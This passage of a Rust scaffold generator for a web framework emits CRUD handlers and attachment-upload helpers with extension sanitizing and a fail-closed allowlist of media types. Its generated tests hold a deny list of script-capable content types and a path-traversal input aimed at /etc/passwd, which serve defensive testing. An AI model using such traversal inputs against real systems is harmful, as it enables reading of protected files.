let cp_index = cp(&format!("/{plural}"));
let cp_show = cp(&format!("/{plural}"));
let cp_new = cp(&format!("/{plural}/new"));
let cp_edit = cp(&format!("/{plural}"));
// Issue #1240: render pending flash through the shared, accessible
// `flash_messages()` helper (per-severity `role`/`aria-live`) instead of
// the older `flash.render()`. This is the `flash` argument every view
// threads into the layout.
let flash_arg = "flash_messages(&flash.consume().await)";
// Per-reference display resolution (issue #1146): the `<select>` options,
// index columns, and show rows render the parent's display column (a
// `name`/`title`/first-string heuristic, or an explicit `{label:col}`)
// instead of the raw foreign-key id. A reference whose target has no
// string column has no entry here and keeps rendering the id. Resolved from
// the display-scoped set so it's populated in `--live-validation` too.
let reference_displays: BTreeMap<String, ReferenceDisplay> = display_reference_fields
.iter()
.filter_map(|f| {
resolve_reference_display(project_root, f, plural, all_fields)
.map(|d| (f.name.clone(), d))
})
.collect();
let model_form = render_model_form(
pascal_name,
fields,
validations,
nesting.map(|n| n.fk.as_str()),
import_enabled,
backend,
);
// Enum fields need their generated Rust type in scope here — `into_new`
// parses into it and the `From<&Row>` seed matches against its variants
// (see `render_model_form`).
let enum_import_suffix: String =
fields
.iter()
.filter_map(Field::enum_type_name)
.fold(String::new(), |mut out, ty| {
let _ = write!(out, ", {ty}");
out
});
// `Update{pascal_name}` is only constructed below by `update_stmt`'s
// `--live` branch (`render_update_changeset_expr`) — the default,
// non-`--live` path writes the update through a raw `diesel::update(...)`
// column tuple (`render_update_columns`) and never names the type. Import
// it only when `--live` will actually reference it, or every non-`--live`
// scaffold (the documented default) carries an unused import.
let update_model_import: String = if live {
format!(", Update{pascal_name}")
} else {
String::new()
};
// The destroy handler must honour the resource's delete semantics: when the
// scaffold was generated with `--soft-delete`, mark `deleted_at` (matching
// the soft-delete repository) instead of issuing a physical `DELETE`.
let destroy_stmt = if live {
if sharded {
format!(
"let repo = Pg{pascal_name}Repository::from_shard(&db);\n \
repo.delete_by_id(*id).await?;\n \
let deleted = 1;"
)
} else {
"repo.delete_by_id(*id).await?;\n let deleted = 1;".to_owned()
}
} else if soft_delete {
// Filter on `deleted_at IS NULL` so deleting an already-soft-deleted row
// affects zero rows and returns 404, matching the physical-delete path.
format!(
"let deleted = diesel::update(\n {plural}::table.{find_expr}.filter({plural}::deleted_at.is_null()),\n )\n \
.set({plural}::deleted_at.eq(Some(chrono::Utc::now().naive_utc())))\n \
.execute(&mut *db)\n .await?;"
)
} else {
format!(
"let deleted = diesel::delete({plural}::table.{find_expr})\n \
.execute(&mut *db)\n .await?;"
)
};
let create_stmt = if live {
if sharded {
format!(
"let repo = Pg{pascal_name}Repository::from_shard(&db);\n \
repo.save(&new).await?;"
)
} else {
"repo.save(&new).await?;".to_owned()
}
} else {
format!(
"diesel::insert_into({plural}::table)\n \
.values({insert_record})\n \
.execute(&mut *db)\n .await?;",
insert_record = insert_record_expr(fields),
)
};
let update_changeset_expr = render_update_changeset_expr(pascal_name, fields);
let update_stmt = if live {
if sharded {
format!(
"let repo = Pg{pascal_name}Repository::from_shard(&db);\n \
let update_changes = {update_changeset_expr};\n \
repo.update(*id, &update_changes).await?;\n \
let updated = 1;"
)
} else {
format!(
"let update_changes = {update_changeset_expr};\n \
repo.update(*id, &update_changes).await?;\n \
let updated = 1;"
)
}
} else {
// Issue #1318: when the model declares `lock_version`, the write becomes
// a compare-and-swap — the expected version is part of the `WHERE`
// clause and the bump is part of the same `SET`, so the check and the
// increment are one atomic statement with no read-modify-write window.
// A concurrent writer that got there first leaves this `UPDATE` matching
// zero rows, which the `updated == 0` branch turns into a 409 re-render.
// Both fragments are empty without the column, so the emitted statement
// stays byte-identical for every other scaffold.
let lock_filter = lock_version.map_or_else(String::new, |_| {
format!(".filter({plural}::lock_version.eq(expected_lock_version))")
});
// A scaffold whose every other column is transition-only (#1326) has an empty
// `update_columns`, so the separator is conditional or the emitted tuple would
// start with a stray comma.
//
// The bump is a plain SQL `+ 1`, which diverges from the repository path's
// `wrapping_add(1)` at the column's ceiling: Postgres raises `integer out of
// range` where the Rust path would wrap to the minimum. That is deliberate.
// Wrapping a lock version is not obviously safer — a wrapped counter can collide
// with a stale client holding the same value from a previous cycle, exactly the
// failure this guard prevents — and emulating it would put a `CASE WHEN` in every
// scaffolded update forever. Reaching the ceiling organically takes 2^31 saves of
// one row; `lock_version:i64` is the answer for a row that churns that hard. The
// one reachable way to hit it, seeding a `--default` at the maximum, is refused by
// `validate_lock_version_field`.
let lock_bump = lock_version.map_or_else(String::new, |_| {
let sep = if update_columns.is_empty() { "" } else { ", " };
format!("{sep}{plural}::lock_version.eq({plural}::lock_version + 1)")
});
format!(
"let updated = diesel::update({plural}::table.{find_expr}{lock_filter})\n \
.set(({update_columns}{lock_bump}))\n \
.execute(&mut *db)\n .await?;"
)
};
// Issue #1236: a scaffold with attachment fields submits `multipart/form-data`
// so the browser can upload files with zero JavaScript (progressive
// enhancement). Non-attachment scaffolds stay URL-encoded. Used only by the
// `--live-validation` raw-markup `<form>` tags; the standard `form_for` path
// sets the enctype automatically via `FieldControl::File`.
let form_enctype = if has_attachments {
" enctype=\"multipart/form-data\""
} else {
""
};
let db_ty = if sharded { "ShardedDb" } else { "Db" };
let create_signature = if live && !sharded {
if has_attachments {
format!(
"flash: Flash, state: autumn_web::extract::State<autumn_web::AppState>, repo: Pg{pascal_name}Repository, body: Bytes"
)
} else {
format!("flash: Flash, repo: Pg{pascal_name}Repository, body: Bytes")
}
} else {
if has_attachments {
format!(
"flash: Flash, state: autumn_web::extract::State<autumn_web::AppState>, mut db: {db_ty}, body: Bytes"
)
} else {
format!("flash: Flash, mut db: {db_ty}, body: Bytes")
}
};
let update_signature = if live && !sharded {
if has_attachments {
format!(
"flash: Flash,\n state: autumn_web::extract::State<autumn_web::AppState>,\n id: Path<{id_rust}>,\n repo: Pg{pascal_name}Repository,\n body: Bytes,"
)
} else {
format!(
"flash: Flash,\n id: Path<{id_rust}>,\n repo: Pg{pascal_name}Repository,\n body: Bytes,"
)
}
} else {
if has_attachments {
format!(
"flash: Flash,\n state: autumn_web::extract::State<autumn_web::AppState>,\n id: Path<{id_rust}>,\n mut db: {db_ty},\n body: Bytes,"
)
} else {
format!("flash: Flash,\n {id_param_decl},\n mut db: {db_ty},\n body: Bytes,")
}
};
let destroy_signature_arg = if live && !sharded {
format!("repo: Pg{pascal_name}Repository")
} else {
format!("mut db: {db_ty}")
};
// Issue #1124: every scaffold's create/update now re-renders the form on a
// rejected submission, so both handlers carry a CSRF token/field the same
// way `new_form`/`edit_form` do. Inserted right after `flash: Flash` (NOT
// appended at the end) — axum's `Handler` trait requires the body-consuming
// `Bytes` extractor to stay the *last* parameter; every other extractor
// must come before it.
let create_signature = create_signature.replacen(
"flash: Flash",
"flash: Flash, csrf: Option<CsrfToken>, csrf_field: Option<CsrfFormField>, \
submit_token: Option<SubmitToken>, submit_field: Option<SubmitFormField>",
1,
);
let update_signature = update_signature.replacen(
"flash: Flash,",
"flash: Flash,\n csrf: Option<CsrfToken>,\n csrf_field: Option<CsrfFormField>,\n \
submit_token: Option<SubmitToken>,\n submit_field: Option<SubmitFormField>,",
1,
);
// Issue #1349: `create`/`update` re-render the form on a rejected submission,
// so they render labels and need the locale. Prepended, keeping `body: Bytes`
// last for the same reason the CSRF pair is inserted rather than appended:
// axum allows exactly one body-consuming extractor and it must come last.
let (create_signature, update_signature) = if labels.enabled() {
(
format!("locale: Locale, {create_signature}"),
format!("locale: Locale,\n {update_signature}"),
)
} else {
(create_signature, update_signature)
};
// Issue #1135: reference selects need a DB handle to load their options
// in every handler that renders the form. `create`/`update` already carry
// `mut db` except on the live non-sharded path (which uses the repository
// extractor); `new_form` never had one. Keep `body: Bytes` last — axum's
// `Handler` impl requires the body-consuming extractor in final position.
let (create_signature, update_signature) = if has_reference_selects && live && !sharded {
(
create_signature.replacen("body: Bytes", &format!("mut db: {db_ty}, body: Bytes"), 1),
update_signature.replacen(
"body: Bytes",
&format!("mut db: {db_ty},\n body: Bytes"),
1,
),
)
} else {
(create_signature, update_signature)
};
let new_form_db_param = if has_reference_selects {
format!("mut db: {db_ty},\n ")
} else {
String::new()
};
// Issue #1125/#1830: thread the extractors the authorize wiring needs into
// the mutating handlers. Inserted before the body-consuming `Bytes` extractor
// in `create`/`update` (axum requires `Bytes` last) and appended to the
// `destroy` arg list (no body extractor). `create`/`update` on the attachment
// path reuse their existing `state:` wrapper and add only `session`; every
// other authorized handler gets the full `State` + `Session` pair.
let (create_signature, update_signature, destroy_signature_arg) = if authorize {
(
create_signature.replacen(
"body: Bytes",
&format!("{create_update_authz_params},\n body: Bytes"),
1,
),
update_signature.replacen(
"\n body: Bytes",
&format!("{create_update_authz_params},\n body: Bytes"),
1,
),
format!("{destroy_signature_arg},{edit_destroy_authz_params}"),
)
} else {
(create_signature, update_signature, destroy_signature_arg)
};
// Issue #1236: a scaffold with attachment fields consumes the request body as
// `multipart/form-data` (streaming file parts to the blob store) instead of
// `Bytes`. Swap the body-consuming extractor in the last parameter slot; it
// must stay LAST (axum's `Handler` requirement), which every earlier
// transform (CSRF, reference-select `db`, authz) already respects by
// inserting BEFORE `body: Bytes`.
let (create_signature, update_signature) = if has_attachments {
(
create_signature.replace(
"body: Bytes",
"mut multipart: autumn_web::extract::Multipart",
),
update_signature.replace(
"body: Bytes",
"mut multipart: autumn_web::extract::Multipart",
),
)
} else {
(create_signature, update_signature)
};
// `decode_form` decodes the urlencoded text fields into `{Pascal}Form`. The
// attachment path rebuilds a urlencoded body from the multipart text parts
// and reuses this exact decoder, so the empty-nullable-field filtering lives
// in one place. `into_new` (always sync now — issue #1236) converts the
// validated form into `New{Pascal}`; attachment blob columns are seeded to
// `None` and set by the handler from the streamed upload.
let decode_call = "decode_form(body)?".to_owned();
let decode_form_sig = format!("fn decode_form(body: Bytes) -> AutumnResult<{pascal_name}Form>");
let into_new_call = "into_new(changeset.data())?".to_owned();
// Issue #1236: for attachment scaffolds the create/update handlers stream the
// multipart body, collect text parts as urlencoded pairs, save each file part
// to the blob store, then decode + validate + bind the blobs. These blocks
// splice into the handler templates in place of the plain `let form = …` /
// `let new = …` lines.
let attachment_fields: Vec<&Field> = fields.iter().filter(|f| f.kind.is_attachment()).collect();
// #1236 (AC3, read-back half): a scaffold that streams uploads to the blob store also
// has to show what it stored. A `Blob` records the store key, media type, and byte
// size — not a browser-reachable URL — so the show and edit views resolve a signed,
// time-bounded one through the configured `BlobStore`: the local backend signs a
// `/_blobs` link, S3 returns a presigned GET. An app with no `[storage]` backend, or a
// backend that refuses to sign, degrades to the stored file's name without a link
// rather than failing the whole page.
//
// #1349: the meta span beside the link — `(image/png, 17 bytes)` — is user-facing text
// like every other string this flag claims, so the whole parenthesised pattern comes
// from the bundle rather than just the word "bytes": a translator has to reorder it,
// repunctuate it, and choose the unit noun and whether it agrees with the number. The
// media type and the count interpolate as Fluent arguments — data, not language.
//
// That means `attachment_link` needs a `Locale`, which is why it takes one under
// `--i18n` and not otherwise: both call sites are view handlers that already hold it,
// and the non-i18n helper must stay byte-for-byte as it was. `media`, not `type`,
// because the argument name becomes a Rust identifier in the `t!` expansion and `type`
// is a keyword.
let attachment_locale_param = if labels.enabled() {
"locale: &autumn_web::i18n::Locale,\n "
} else {
""
};
let attachment_locale_arg = if labels.enabled() { "&locale, " } else { "" };
// Recorded only when the helper is actually emitted: `markup_expr` adds the
// key to `used_keys`, and a key written to `en.ftl` that no generated view
// references is exactly what `autumn i18n check --strict` fails on. A
// scaffold with no attachment column must not carry this key.
let attachment_meta_markup = if has_attachments {
labels.markup_expr(
"common.attachment.meta",
"({ $media }, { $size } bytes)",
"\"(\" (blob.content_type) \", \" (blob.byte_size) \" bytes)\"",
&[
("media", "&blob.content_type"),
("size", "&blob.byte_size.to_string()"),
],
)
} else {
String::new()
};
let attachment_read_back_helpers = if has_attachments {
format!(
"\n/// The dot-extension to give a stored blob, derived from the browser-supplied\n\
/// filename so a downloaded file still opens in the right application.\n\
///\n\
/// Deliberately paranoid: the submitted name is attacker-controlled and this\n\
/// becomes part of a `BlobStore` key, so only a short run of ASCII\n\
/// alphanumerics survives — lowercased, because keys must be lowercase and\n\
/// portable across the local and S3 backends — and `.meta` (reserved by the\n\
/// local backend for its sidecar files) is dropped. Returns `\"\"` when there\n\
/// is nothing safe to use; the unique part of the key is the timestamp +\n\
/// UUID in front of it either way.\n\
fn upload_extension(file_name: Option<&str>) -> String {{\n \
let ext = file_name\n \
.and_then(|name| name.rsplit(['/', '\\\\']).next())\n \
.and_then(|name| name.rsplit_once('.'))\n \
.map(|(_, ext)| ext.to_ascii_lowercase())\n \
.unwrap_or_default();\n \
if ext.is_empty()\n \
|| ext.len() > 8\n \
|| ext == \"meta\"\n \
|| !ext.chars().all(|c| c.is_ascii_alphanumeric())\n \
{{\n \
return String::new();\n \
}}\n \
format!(\".{{ext}}\")\n\
}}\n\n\
/// Media types this scaffold is willing to hand out a URL for.\n\
///\n\
/// SECURITY: the local backend serves blobs from THIS app's origin and\n\
/// replays the content type they were uploaded under, setting no\n\
/// `Content-Disposition`; the default CSP allows `script-src 'self'`. So a\n\
/// stored `text/html` or `image/svg+xml` reached by direct NAVIGATION would\n\
/// run as same-origin script with the visitor's cookies — and an anchor's\n\
/// `download` attribute governs clicks on that anchor, not navigation to\n\
/// the URL. A URL is therefore only ever issued for types a browser either\n\
/// renders inertly (images, PDF, plain text, media) or simply downloads\n\
/// (archives, office documents); an unlisted type still shows on the page,\n\
/// just without a link.\n\
///\n\
/// Fail-CLOSED by design. Widen it freely for inert types you accept, but\n\
/// do NOT add `text/html`, `application/xhtml+xml`, `image/svg+xml`, any\n\
/// `*/xml`, or any script type unless you are serving uploads from a\n\
/// SEPARATE origin. Constraining `security.upload.allowed_mime_types` in\n\
/// `autumn.toml` is the complementary control on the write side.\n\
const LINKABLE_CONTENT_TYPES: &[&str] = &[\n \
// Rendered inertly by the browser.\n \
\"image/png\",\n \
\"image/jpeg\",\n \
\"image/gif\",\n \
\"image/webp\",\n \
\"image/avif\",\n \
\"image/bmp\",\n \
\"application/pdf\",\n \
\"text/plain\",\n \
\"text/csv\",\n \
\"audio/mpeg\",\n \
\"audio/ogg\",\n \
\"audio/wav\",\n \
\"video/mp4\",\n \
\"video/webm\",\n \
// No inline renderer, so the browser downloads rather than executes.\n \
\"application/zip\",\n \
\"application/gzip\",\n \
\"application/octet-stream\",\n \
\"application/msword\",\n \
\"application/vnd.ms-excel\",\n \
\"application/vnd.openxmlformats-officedocument.wordprocessingml.document\",\n \
\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",\n \
\"application/vnd.openxmlformats-officedocument.presentationml.presentation\",\n\
];\n\n\
/// Signed, time-bounded URL for a stored attachment (issue #1236).\n\
///\n\
/// `None` — so `attachment_link` renders the file name without a link\n\
/// rather than failing the page — when the column is NULL, the app has no\n\
/// `[storage]` backend configured, the media type is not in\n\
/// `LINKABLE_CONTENT_TYPES`, the blob belongs to a different storage\n\
/// provider, or the backend declined to sign.\n\
///\n\
/// The {ATTACHMENT_URL_TTL_SECS}-second window is set here, not read from\n\
/// config: `storage.local.default_url_expiry_secs` applies only when the\n\
/// caller passes `Duration::ZERO`, and the S3 backend has no such fallback.\n\
/// Change the literal below to widen or narrow it.\n\
async fn attachment_url(\n \
state: &autumn_web::AppState,\n \
blob: Option<&autumn_web::storage::Blob>,\n\
) -> Option<String> {{\n \
let blob = blob?;\n \
// Compare on the media-type ESSENCE: a stored type may carry parameters\n \
// (`text/plain; charset=utf-8`).\n \
let essence = blob\n \
.content_type\n \
.split(';')\n \
.next()\n \
.unwrap_or_default()\n \
.trim()\n \
.to_ascii_lowercase();\n \
if !LINKABLE_CONTENT_TYPES.contains(&essence.as_str()) {{\n \
return None;\n \
}}\n \
let store = state\n \
.extension::<autumn_web::storage::BlobStoreState>()?\n \
.store()\n \
.clone();\n \
// A blob recorded against a different provider is not this store's object.\n \
// Signing its key would produce a link to nothing — or, if that key happens\n \
// to exist here, to unrelated bytes. `Blob::provider_id` exists to catch\n \
// exactly this after a backend swap.\n \
if blob.provider_id != store.provider_id() {{\n \
autumn_web::reexports::tracing::warn!(\n \
blob_provider = %blob.provider_id,\n \
store_provider = %store.provider_id(),\n \
key = %blob.key,\n \
\"attachment belongs to a different storage provider; rendering it without a link\"\n \
);\n \
return None;\n \
}}\n \
match store\n \
.presigned_url(&blob.key, std::time::Duration::from_secs({ATTACHMENT_URL_TTL_SECS}))\n \
.await\n \
{{\n \
Ok(url) => Some(url),\n \
Err(err) => {{\n \
autumn_web::reexports::tracing::warn!(\n \
error = %err,\n \
key = %blob.key,\n \
\"could not sign a URL for a stored attachment; rendering it without a link\"\n \
);\n \
None\n \
}}\n \
}}\n\
}}\n\n\
/// Render a stored attachment: a download link when a signed URL is\n\
/// available, the file name alone when it isn't, and an em dash when the\n\
/// column is NULL. `label` is the column's name — `Blob` records the store\n\
/// key, media type and size but not the original filename, so the link is\n\
/// labelled `<label>.<ext>` rather than with the opaque key.\n\
///\n\
/// The link carries `download` so a same-origin click SAVES the file rather\n\
/// than rendering it in a tab. It is a convenience, NOT the security\n\
/// boundary — it governs clicks on this anchor only, and browsers ignore it\n\
/// entirely for the cross-origin URL an S3 backend returns (so an S3-hosted\n\
/// image opens inline instead of saving; encode a response\n\
/// `Content-Disposition` into the presign if that matters to you). What\n\
/// actually keeps a stored `.html`/`.svg` from running as same-origin script\n\
/// is `attachment_url` refusing to issue a URL for it at all — see\n\
/// `LINKABLE_CONTENT_TYPES`.\n\
///\n\
/// Emitted as a raw `<a>` rather than `autumn_web::a11y::Link` because that\n\
/// primitive has no `download` builder.\n\
fn attachment_link(\n \
{attachment_locale_param}blob: Option<&autumn_web::storage::Blob>,\n \
url: Option<&str>,\n \
label: &str,\n\
) -> Markup {{\n \
let Some(blob) = blob else {{\n \
return html! {{ \"—\" }};\n \
}};\n \
let file_name = match blob.key.rsplit('/').next().and_then(|s| s.rsplit_once('.')) {{\n \
Some((_, ext)) => format!(\"{{label}}.{{ext}}\"),\n \
None => label.to_owned(),\n \
}};\n \
html! {{\n \
@if let Some(url) = url {{\n \
a href=(url) download=(file_name) {{ (file_name) }}\n \
}} @else {{\n \
span {{ (file_name) }}\n \
}}\n \
\" \"\n \
span class=\"autumn-attachment__meta\" {{ {attachment_meta_markup} }}\n \
}}\n\
}}\n"
)
} else {
String::new()
};
// The `show` detail page resolves one signed URL per attachment column before building
// its property list. The list index deliberately does not: `widgets::Column`'s cell
// closure is synchronous and `presigned_url` is async, so there is nowhere to await it.
// Signing is cheap and local — an HMAC for the local backend, local SigV4 for S3 — so
// cost is not the reason; the index stays a presence marker.
//
// Two spellings of the same binds. `&state` would compile at both sites, since
// `&&AppState` reborrows, but generated code is user-owned code: emitting `&state`
// where `state` is already a `&AppState` trips `clippy::needless_borrow` in the app's
// own lint run. The `show` handler owns a `State<_>` wrapper and needs the borrow; the
// state-machine `show_view` helper is handed a `&AppState` and must not add one.
// `authorize` destructures `State(state)` to a bare `AppState`; the unauthorized form
// keeps the `State<_>` wrapper and needs the borrow.
let show_state_recv = if authorize { "&state" } else { "&*state" };
let mut show_attachment_url_binds = String::new();
let mut show_view_attachment_url_binds = String::new();
for f in &attachment_fields {
let name = &f.name;
let _ = writeln!(
show_attachment_url_binds,
" let {name}_url = attachment_url({show_state_recv}, row.{name}.as_ref()).await;"
);
let _ = writeln!(
show_view_attachment_url_binds,
" let {name}_url = attachment_url(state, row.{name}.as_ref()).await;"
);
}
// `show` never carried a `State` extractor, because it does no authorization. An
// attachment scaffold adds one, since rendering the stored file needs the blob store.
//
// It also adds the record-policy check `show` has never had (#1236 review). Before
// this slice the detail page disclosed only the word "attachment"; now it hands out a
// signed `presigned_url`, and the serving route validates that signature alone — no
// session, no policy — so the rendered link is a working bearer capability for the
// bytes for as long as it is valid. Emitting it from a handler that never consults
// `can_show` would make the generated `Policy`'s "Reads are public by default. Tighten
// this if shows should be gated." comment a lie for the one column where it matters
// most. Under the generated default policy, where `can_show` returns true, this is a
// no-op; it starts enforcing the moment an author narrows it. Scaffolds with no
// attachment column keep the historical unauthorized `show`; closing that generally is
// a separate change.
let (show_state_param, show_state_param_line, show_authz_call) = if has_attachments && authorize
{
(
", autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>, session: autumn_web::session::Session",
"\n autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,\n session: autumn_web::session::Session,",
format!(
" autumn_web::authorization::authorize::<{pascal_name}>(&state, &session, \"show\", &row).await?;\n"
),
)
} else if has_attachments {
(
", state: autumn_web::extract::State<autumn_web::AppState>",
"\n state: autumn_web::extract::State<autumn_web::AppState>,",
String::new(),
)
} else {
("", "", String::new())
};
// The state-machine variant renders through a shared `show_view` helper
// called by `show` and by each transition handler's 422 re-render, so the
// state travels as a plain `&AppState` argument. `&state` coerces to it from
// either binding shape — the `State<_>` wrapper `show` takes, or the
// already-destructured `AppState` the authorize wiring injects.
let (show_view_state_param, show_view_state_arg_call) = if has_attachments {
("\n state: &autumn_web::AppState,", ", &state")
} else {
("", "")
};
// The edit form shows which file is already stored: a file `<input>` can't
// be repopulated (browser security), so without this the author has no way
// to tell an empty column from one holding a blob they simply didn't
// replace. Both live in the SHARED edit body, so `GET /{plural}/{id}/edit`
// and every 422 re-render of that form show the same thing — which is why
// `update` loads `current` before validating (see `update_load_and_authorize_block`).
//
// The shared body reads the row through a binding named `current` — the name
// `update` already uses — so `edit_form` renames its own loaded row to match
// once the changeset has been seeded from it.
let edit_current_bind = if has_attachments {
"// `current` is the name the shared edit body — and `update`, which\n // re-renders that same body at 422 — reads the row through, so the\n // stored-attachment block below can't drift between the two.\n let current = row;\n "
} else {
""
};
// Issue #1318: the two bindings the shared edit body reads for optimistic
// locking. `edit_form` renders the row's live version and never shows the
// conflict banner — it is the *first* look at the record, so there is
// nothing to have lost a race to yet. `update`'s re-render branches bind the
// same two names to their own values (see `update_lock_version_preamble` and
// `update_zero_rows_block`), which is what lets one body serve all three
// sites without drifting.
let edit_lock_binds = if lock_version.is_some() {
"let lock_version_value = row.lock_version;\n let lock_conflict = false;\n "
} else {
""
};
// `edit_form` authorizes by default and so already owns a destructured
// `state`; `--no-policy` scaffolds add their own wrapper.
let edit_form_state_param = if has_attachments && !authorize {
"\n state: autumn_web::extract::State<autumn_web::AppState>,"
} else {
""
};
let mut edit_attachment_url_binds = String::new();
let mut edit_current_attachment_markup = String::new();
for f in &attachment_fields {
let name = &f.name;
let label = humanize_label(name);
// Issue #1349: "Current Cover:" names the file already stored, so it is
// a view label like any other. Per FIELD, not a shared pattern with the
// column name interpolated — same grammatical-agreement reasoning as
// `{snake}.new`. The `attachment_link` argument beside it stays the raw
// column name on purpose: it is the DOWNLOAD FILENAME stem, not a label,
// and localizing a filename is a bug, not a feature.
let current_label = labels.markup(
&format!("{snake_name}.attachment.{name}.current"),
&format!("Current {label}: "),
);
let _ = writeln!(
edit_attachment_url_binds,
" let {name}_url = attachment_url(&state, current.{name}.as_ref()).await;"
);
let _ = write!(
edit_current_attachment_markup,
"@if let Some(blob) = current.{name}.as_ref() {{\n \
p class=\"autumn-field__current\" {{ {current_label} (attachment_link({attachment_locale_arg}Some(blob), {name}_url.as_deref(), \"{name}\")) }}\n \
}}\n "
);
}
// The read-back helpers are pure functions, so the scaffold ships real unit tests for
// them next to the code: `cargo test` in the generated app exercises the em-dash,
// no-link, and labelled-link branches and the key-sanitizing rules, rather than
// leaving them proven only by the generator's own string assertions. They live inside
// the routes module because a `tests/` integration binary cannot import a project's
// bin crate. Under `--i18n` the helper takes a `Locale`, so the tests build one, and
// it carries a real one-key bundle rather than the bare `Locale::new`, whose lookups
// fall back to the key itself. That keeps these assertions about the rendered meta —
// the media type and byte count still have to reach the string — instead of degrading
// them to "some key was looked up".
let (attachment_test_locale_helper, attachment_test_locale_arg) = if labels.enabled() {
(
r#"
fn locale() -> autumn_web::i18n::Locale {
let mut en = std::collections::HashMap::new();
en.insert(
"common.attachment.meta".to_owned(),
"({ $media }, { $size } bytes)".to_owned(),
);
let mut messages = std::collections::HashMap::new();
messages.insert("en".to_owned(), en);
let config = autumn_web::i18n::I18nConfig::default();
let bundle = autumn_web::i18n::Bundle::from_messages(messages, &config);
autumn_web::i18n::Locale::new("en").with_bundle(std::sync::Arc::new(bundle))
}
"#,
"&locale(), ",
)
} else {
("", "")
};
let attachment_read_back_unit_tests = if has_attachments {
format!(
r#"
#[cfg(test)]
mod attachment_read_back_tests {{
use super::{{LINKABLE_CONTENT_TYPES, attachment_link, upload_extension}};
use autumn_web::storage::Blob;
fn blob(key: &str) -> Blob {{
Blob::new("test", key, "image/png", 17)
}}
{attachment_test_locale_helper}
#[test]
fn renders_an_em_dash_when_the_column_is_null() {{
assert_eq!(attachment_link({attachment_test_locale_arg}None, None, "cover").into_string(), "\u{{2014}}");
}}
#[test]
fn labels_the_link_from_the_column_and_the_stored_extension() {{
let stored = blob("posts/cover/1700000000_abc.png");
let html = attachment_link({attachment_test_locale_arg}Some(&stored), Some("/_blobs/x?sig=1"), "cover").into_string();
assert!(html.contains("href=\"/_blobs/x?sig=1\""), "{{html}}");
// Not the opaque key: a download has to land with a usable name.
assert!(html.contains("download=\"cover.png\""), "{{html}}");
assert!(html.contains(">cover.png<"), "{{html}}");
assert!(html.contains("image/png"), "{{html}}");
assert!(html.contains("17 bytes"), "{{html}}");
}}
#[test]
fn drops_the_anchor_when_no_url_could_be_signed() {{
let stored = blob("posts/cover/1700000000_abc.png");
let html = attachment_link({attachment_test_locale_arg}Some(&stored), None, "cover").into_string();
assert!(!html.contains("<a "), "{{html}}");
assert!(html.contains("cover.png"), "{{html}}");
}}
#[test]
fn refuses_to_link_content_types_that_execute_as_same_origin_script() {{
// The local backend replays the stored content type from THIS origin with
// no `Content-Disposition`, and the default CSP allows `script-src 'self'`,
// so navigating to a stored `.html`/`.svg` would run it as same-origin
// script. `attachment_url` must not hand out a URL for those at all.
for dangerous in [
"text/html",
"image/svg+xml",
"application/xhtml+xml",
"text/xml",
"application/xml",
"text/javascript",
"application/javascript",
] {{
assert!(
!LINKABLE_CONTENT_TYPES.contains(&dangerous),
"{{dangerous}} must never be linkable"
);
}}
// The ordinary upload types a scaffold is actually used for stay linkable.
for safe in ["image/png", "image/jpeg", "application/pdf", "text/plain"] {{
assert!(LINKABLE_CONTENT_TYPES.contains(&safe), "{{safe}} should link");
}}
}}
#[test]
fn keeps_only_a_short_safe_lowercase_extension() {{
assert_eq!(upload_extension(Some("holiday.PNG")), ".png");
assert_eq!(upload_extension(Some("archive.tar.gz")), ".gz");
// No extension to take, or nothing safe to take.
assert_eq!(upload_extension(None), "");
assert_eq!(upload_extension(Some("noextension")), "");
assert_eq!(upload_extension(Some("a.verylongextension")), "");
assert_eq!(upload_extension(Some("evil.p g")), "");
assert_eq!(upload_extension(Some("evil.p/g")), "");
// `.meta` is the local backend's sidecar suffix and is reserved.
assert_eq!(upload_extension(Some("sneaky.meta")), "");
// A traversal attempt keeps nothing but the final extension.
assert_eq!(upload_extension(Some("../../etc/passwd.png")), ".png");
}}
}}
"#,
)
} else {
String::new()
};
// #1872: the create and update handlers stream each uploaded file to the blob store
// before changeset validation and the DB write, so any early return after the save
// would orphan the just-uploaded blob. Only the freshly-saved `<field>_blob`s are
// recorded, into `saved_blob_keys`, pushed at the point of each save so the key set
// fills incrementally, and best-effort deleted before every early-return path that can
// occur after the first save.
//
// The whole fallible multipart-parse-and-decode span — `next_field()?`, each
// `save_to_blob_store()?`, `bytes_limited()?`, the UTF-8 `map_err(…)?`, and
// `decode_form(…)?` — runs inside one `async { … }.await` block typed to the handler's
// `AutumnError`, whose `Err` funnels through a single cleanup path
// (`form_decode_block`). That covers every `?` in the span, current and future,
// without per-line wrapping, so a malformed boundary, oversized text field, or invalid
// UTF-8 arriving after a blob was saved can no longer leak it. The remaining
// post-parse early returns — changeset validation, `into_new`, the unique-violation
// 422, the generic DB error, and the update's current-row load or not-found — sit
// outside that block and keep splicing `{blob_cleanup}` before their `return`. A
// preserved existing blob is never enrolled.
let blob_cleanup = if has_attachments {
"for key in &saved_blob_keys {\n let _ = store.delete(key).await;\n }\n "
} else {
""
};
// Issue #1872 follow-on: this check sits *after* the uploaded file was
// streamed to the store, so a plain `?` here would orphan the blob whenever
// the record policy denies the actor. It gets the same cleanup-then-return
// treatment as every other post-save early return.
let authz_attachment_update = if authorize && has_attachments {
format!(
"if let Err(err) = autumn_web::authorization::authorize::<{pascal_name}>({create_update_state_expr}, &session, \"update\", ¤t).await {{\n \
{blob_cleanup}return Err(err);\n \
}}\n "
)
} else {
String::new()
};
let form_decode_block = if has_attachments {
let mut blob_decls = String::new();
let mut match_arms = String::new();
for f in &attachment_fields {
let name = &f.name;
let _ = writeln!(
blob_decls,
" let mut {name}_blob: Option<autumn_web::storage::Blob> = None;"
);
// Issue #1872: record the freshly-saved blob's key into
// `saved_blob_keys` *immediately* after each successful save, so any
// later fallible early return (a subsequent attachment field's save,
// `decode_form`, validation, the DB write) can best-effort delete it.
// The save's own `?` (and every other fallible `?` in the parse span)
// is covered centrally: the whole multipart-parse-and-decode section
// runs inside a single `async {…}` block whose `Err` is funneled
// through one cleanup path (see `form_decode_block`), so a failed save
// cleans up any earlier-saved sibling blobs without per-line wrapping.
let _ = write!(
match_arms,
" Some(\"{name}\") => {{\n \
if field.file_name().is_some_and(|file_name| !file_name.is_empty()) {{\n \
let key = format!(\n \
\"{plural}/{name}/{{}}_{{}}{{}}\",\n \
chrono::Utc::now().timestamp_nanos_opt().unwrap_or_default(),\n \
uuid::Uuid::new_v4(),\n \
upload_extension(field.file_name())\n \
);\n \
